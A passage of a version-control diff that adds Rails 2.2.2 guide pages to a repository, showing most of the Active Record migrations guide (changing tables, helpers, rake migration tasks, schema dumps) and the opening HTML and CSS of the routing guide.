+  t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Will append <tt>ENGINE=BLACKHOLE</tt> to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").</p></div>
+<div class="para"><p>The types Active Record supports are <tt>:primary_key</tt>, <tt>:string</tt>, <tt>:text</tt>, <tt>:integer</tt>, <tt>:float</tt>, <tt>:decimal</tt>, <tt>:datetime</tt>, <tt>:timestamp</tt>, <tt>:time</tt>, <tt>:date</tt>, <tt>:binary</tt>, <tt>:boolean</tt>.</p></div>
+<div class="para"><p>These will be mapped onto an appropriate underlying database type, for example with MySQL <tt>:string</tt> is mapped to <tt>VARCHAR(255)</tt>. You can create columns of
+types not supported by Active Record when using the non sexy syntax, for example</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+  t<span style="color: #990000">.</span>column <span style="color: #990000">:</span>name<span style="color: #990000">,</span> <span style="color: #FF0000">'polygon'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>null <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This may however hinder portability to other databases.</p></div>
+<h3 id="_changing_tables">3.2. Changing tables</h3>
+<div class="para"><p><tt>create_table</tt>'s close cousin is <tt>change_table</tt>. Used for changing existing tables, it is used in a similar fashion to <tt>create_table</tt> but the object yielded to the block knows more tricks. For example</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>change_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+  t<span style="color: #990000">.</span>remove <span style="color: #990000">:</span>description<span style="color: #990000">,</span> <span style="color: #990000">:</span>name
+  t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>part_number
+  t<span style="color: #990000">.</span>index <span style="color: #990000">:</span>part_number
+  t<span style="color: #990000">.</span>rename <span style="color: #990000">:</span>upccode<span style="color: #990000">,</span> <span style="color: #990000">:</span>upc_code
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>removes the <tt>description</tt> column, creates a <tt>part_number</tt> column and adds an index on it. Finally it renames the <tt>upccode</tt> column.   This is the same as doing</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>description
+remove_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>name
+add_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+add_index <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number
+rename_column <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>upccode<span style="color: #990000">,</span> <span style="color: #990000">:</span>upc_code
+</tt></pre></div></div>
+<div class="para"><p>You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example <tt>remove_column</tt> becomes just <tt>remove</tt> and <tt>add_index</tt> becomes just <tt>index</tt>.</p></div>
+<h3 id="_special_helpers">3.3. Special helpers</h3>
+<div class="para"><p>Active Record provides some shortcuts for common functionality. It is for example very common to add both the <tt>created_at</tt> and <tt>updated_at</tt> columns and so there is a method that does exactly that:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+  t<span style="color: #990000">.</span>timestamps
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>will create a new products table with those two columns whereas</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>change_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+  t<span style="color: #990000">.</span>timestamps
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>adds those columns to an existing table.</p></div>
+<div class="para"><p>The other helper is called <tt>references</tt> (also available as <tt>belongs_to</tt>). In its simplest form it just adds some readability</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+  t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>category
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>will create a <tt>category_id</tt> column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the <tt>_id</tt> for you. If you have polymorphic belongs_to associations then <tt>references</tt> will add both of the columns required:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+  t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>attachment<span style="color: #990000">,</span> <span style="color: #990000">:</span>polymorphic <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>default <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Photo'</span><span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>will add an <tt>attachment_id</tt> column and a string <tt>attachment_type</tt> column with a default value of <em>Photo</em>.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The <tt>references</tt> helper does not actually create foreign key constraints for you. You will need to use <tt>execute</tt> for that or a plugin that adds <a href="#foreign_key">foreign key support</a>.</td>
+</tr></table>
+</div>
+<div class="para"><p>If the helpers provided by Active Record aren't enough you can use the <tt>execute</tt> function to execute arbitrary SQL.</p></div>
+<div class="para"><p>For more details and examples of individual methods check the API documentation, in particular the documentation for <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html">ActiveRecord::ConnectionAdapters::SchemaStatements</a> (which provides the methods available in the <tt>up</tt> and <tt>down</tt> methods),  <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html">ActiveRecord::ConnectionAdapters::TableDefinition</a> (which provides the methods available on the object yielded by <tt>create_table</tt>) and <a href="http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/Table.html">ActiveRecord::ConnectionAdapters::Table</a> (which provides the methods available on the object yielded by <tt>change_table</tt>).</p></div>
+<h3 id="_writing_your_down_method">3.4. Writing your down method</h3>
+<div class="para"><p>The <tt>down</tt> method of your migration should revert the transformations done by the <tt>up</tt> method. In other words the database should be unchanged if you do an <tt>up</tt> followed by a <tt>down</tt>. For example if you create a table in the up you should drop it in the <tt>down</tt> method. It is wise to do things in precisely the reverse order to in the <tt>up</tt> method. For example</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> ExampleMigration <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+      t<span style="color: #990000">.</span>references <span style="color: #990000">:</span>category
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+    <span style="font-style: italic"><span style="color: #9A1900">#add a foreign key</span></span>
+    execute <span style="color: #FF0000">"ALTER TABLE products ADD CONSTRAINT fk_products_categories FOREIGN KEY (category_id) REFERENCES categories(id)"</span>
+
+    add_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>home_page_url<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+
+    rename_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>email<span style="color: #990000">,</span> <span style="color: #990000">:</span>email_address
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    rename_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>email_address<span style="color: #990000">,</span> <span style="color: #990000">:</span>email
+    remove_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>home_page_url
+    execute <span style="color: #FF0000">"ALTER TABLE products DROP FOREIGN KEY fk_products_categories"</span>
+    drop_table <span style="color: #990000">:</span>products
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise IrreversibleMigration from your <tt>down</tt> method. If someone tries to revert your migration an error message will be
+displayed saying that it can't be done.</p></div>
+</div>
+<h2 id="_running_migrations">4. Running Migrations</h2>
+<div class="sectionbody">
+<div class="para"><p>Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be <tt>db:migrate</tt>. In its most basic form it just runs the <tt>up</tt> method for all the migrations that have not yet been run. If there are no such migrations it exits.</p></div>
+<div class="para"><p>If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
+version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rake db:migrate VERSION=20080906120000</tt></pre>
+</div></div>
+<div class="para"><p>If this is greater than the current version (i.e. it is migrating upwards) this will run the <tt>up</tt> method on all migrations up to and including 20080906120000, if migrating downwards this will run the <tt>down</tt> method on all the migrations down to, but not including, 20080906120000.</p></div>
+<h3 id="_rolling_back">4.1. Rolling back</h3>
+<div class="para"><p>A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rake db:rollback</tt></pre>
+</div></div>
+<div class="para"><p>This will run the <tt>down</tt> method from the latest migration. If you need to undo several migrations you can provide a <tt>STEP</tt> parameter:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rake db:rollback STEP=3</tt></pre>
+</div></div>
+<div class="para"><p>will run the <tt>down</tt> method from the last 3 migrations.</p></div>
+<div class="para"><p>The <tt>db:migrate:redo</tt> task is a shortcut for doing a rollback and then migrating back up again. As with the <tt>db:rollback</tt> task you can use the <tt>STEP</tt> parameter if you need to go more than one version back, for example</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rake db:migrate:redo STEP=3</tt></pre>
+</div></div>
+<div class="para"><p>Neither of these Rake tasks do anything you could not do with <tt>db:migrate</tt>, they are simply more convenient since you do not need to explicitly specify the version to migrate to.</p></div>
+<div class="para"><p>Lastly, the <tt>db:reset</tt> task will drop the database, recreate it and load the current schema into it.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">This is not the same as running all the migrations - see the section on <a href="#schema">schema.rb</a>.</td>
+</tr></table>
+</div>
+<h3 id="_being_specific">4.2. Being Specific</h3>
+<div class="para"><p>If you need to run a specific migration up or down the <tt>db:migrate:up</tt> and <tt>db:migrate:down</tt> tasks will do that. Just specify the appropriate version and the corresponding migration will have its <tt>up</tt> or <tt>down</tt> method invoked, for example</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>rake db:migrate:up VERSION=20080906120000</tt></pre>
+</div></div>
+<div class="para"><p>will run the <tt>up</tt> method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example <tt>db:migrate:up VERSION=20080906120000</tt> will do nothing if Active Record believes that 20080906120000 has already been run.</p></div>
+<h3 id="_being_talkative">4.3. Being talkative</h3>
+<div class="para"><p>By default migrations tell you exactly what they're doing and how long it took.
+A migration creating a table and adding an index might produce output like this</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>== 20080906170109 CreateProducts: migrating ===================================
+-- create_table(:products)
+   -&gt; 0.0021s
+-- add_index(:products, :name)
+   -&gt; 0.0026s
+== 20080906170109 CreateProducts: migrated (0.0059s) ==========================</tt></pre>
+</div></div>
+<div class="para"><p>Several methods are provided that allow you to control all this:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>suppress_messages</tt> suppresses any output generated by its block
+</p>
+</li>
+<li>
+<p>
+<tt>say</tt> outputs text (the second argument controls whether it is indented or not)
+</p>
+</li>
+<li>
+<p>
+<tt>say_with_time</tt> outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
+</p>
+</li>
+</ul></div>
+<div class="para"><p>For example, this migration</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    suppress_messages <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+      create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+        t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+        t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>description
+        t<span style="color: #990000">.</span>timestamps
+      <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+    say <span style="color: #FF0000">"Created a table"</span>
+    suppress_messages <span style="color: #FF0000">{</span>add_index <span style="color: #990000">:</span>products<span style="color: #990000">,</span> <span style="color: #990000">:</span>name<span style="color: #FF0000">}</span>
+    say <span style="color: #FF0000">"and an index!"</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+    say_with_time <span style="color: #FF0000">'Waiting for a while'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+      sleep <span style="color: #993399">10</span>
+      <span style="color: #993399">250</span>
+    <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    drop_table <span style="color: #990000">:</span>products
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>generates the following output</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>== 20080906170109 CreateProducts: migrating ===================================
+-- Created a table
+   -&gt; and an index!
+-- Waiting for a while
+   -&gt; 10.0001s
+   -&gt; 250 rows
+== 20080906170109 CreateProducts: migrated (10.0097s) =========================</tt></pre>
+</div></div>
+<div class="para"><p>If you just want Active Record to shut up then running <tt>rake db:migrate VERBOSE=false</tt> will suppress any output.</p></div>
+</div>
+<h2 id="models">5. Using Models In Your Migrations</h2>
+<div class="sectionbody">
+<div class="para"><p>When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed.</p></div>
+<div class="para"><p>Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with <tt>rake db:migrate</tt>, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.</p></div>
+<div class="para"><p>Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    <span style="color: #990000">...</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    <span style="color: #990000">...</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.</p></div>
+<h3 id="_dealing_with_changing_models">5.1. Dealing with changing models</h3>
+<div class="para"><p>For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the <tt>reset_column_information</tt> method, for example</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddPartNumberToProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
+  <span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Product <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+    add_column <span style="color: #990000">:</span>product<span style="color: #990000">,</span> <span style="color: #990000">:</span>part_number<span style="color: #990000">,</span> <span style="color: #990000">:</span>string
+    Product<span style="color: #990000">.</span>reset_column_information
+    <span style="color: #990000">...</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+    <span style="color: #990000">...</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+</div>
+<h2 id="_schema_dumping_and_you">6. Schema dumping and you</h2>
+<div class="sectionbody">
+<h3 id="schema">6.1. What are schema files for?</h3>
+<div class="para"><p>Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either <tt>schema.rb</tt> or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.</p></div>
+<div class="para"><p>There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.</p></div>
+<div class="para"><p>For example, this is how the test database is created: the current development database is dumped (either to <tt>schema.rb</tt> or <tt>development.sql</tt>) and then loaded into the test database.</p></div>
+<div class="para"><p>Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The <a href="http://agilewebdevelopment.com/plugins/annotate_models">annotate_models</a> plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.</p></div>
+<h3 id="_types_of_schema_dumps">6.2. Types of schema dumps</h3>
+<div class="para"><p>There are two ways to dump the schema. This is set in <tt>config/environment.rb</tt> by the <tt>config.active_record.schema_format</tt> setting, which may be either <tt>:sql</tt> or <tt>:ruby</tt>.</p></div>
+<div class="para"><p>If <tt>:ruby</tt> is selected then the schema is stored in <tt>db/schema.rb</tt>. If you look at this file you'll find that it looks an awful lot like one very big migration:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>ActiveRecord<span style="color: #990000">::</span>Schema<span style="color: #990000">.</span>define<span style="color: #990000">(:</span>version <span style="color: #990000">=&gt;</span> <span style="color: #993399">20080906171750</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
+  create_table <span style="color: #FF0000">"authors"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+    t<span style="color: #990000">.</span>string   <span style="color: #FF0000">"name"</span>
+    t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"created_at"</span>
+    t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"updated_at"</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+  create_table <span style="color: #FF0000">"products"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>force <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+    t<span style="color: #990000">.</span>string   <span style="color: #FF0000">"name"</span>
+    t<span style="color: #990000">.</span>text     <span style="color: #FF0000">"description"</span>
+    t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"created_at"</span>
+    t<span style="color: #990000">.</span>datetime <span style="color: #FF0000">"updated_at"</span>
+    t<span style="color: #990000">.</span>string   <span style="color: #FF0000">"part_number"</span>
+  <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using <tt>create_table</tt>, <tt>add_index</tt> and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.</p></div>
+<div class="para"><p>There is however a trade-off: <tt>schema.rb</tt> cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to <tt>:sql</tt>.</p></div>
+<div class="para"><p>Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the <tt>db:structure:dump</tt> Rake task) into <tt>db/#{RAILS_ENV}_structure.sql</tt>. For example for PostgreSQL the <tt>pg_dump</tt> utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.</p></div>
+<div class="para"><p>By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.</p></div>
+<h3 id="_schema_dumps_and_source_control">6.3. Schema dumps and source control</h3>
+<div class="para"><p>Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.</p></div>
+</div>
+<h2 id="foreign_key">7. Active Record and Referential Integrity</h2>
+<div class="sectionbody">
+<div class="para"><p>The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.</p></div>
+<div class="para"><p>Validations such as <tt>validates_uniqueness_of</tt> are one way in which models can enforce data integrity. The <tt>:dependent</tt> option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.</p></div>
+<div class="para"><p>Although Active Record does not provide any tools for working directly with such features, the <tt>execute</tt> method can be used to execute arbitrary SQL. There are also a number of plugins such as <a href="http://agilewebdevelopment.com/plugins/search?search=redhillonrails">redhillonrails</a> which add foreign key support to Active Record (including support for dumping foreign keys in <tt>schema.rb</tt>).</p></div>
+</div>
+<h2 id="_changelog">8. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+September 14, 2008: initial version by <a href="../authors.html#fcheung">Frederick Cheung</a>
+</p>
+</li>
+</ul></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/routing_outside_in.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/routing_outside_in.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/routing_outside_in.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2213 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Rails Routing from the Outside In</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
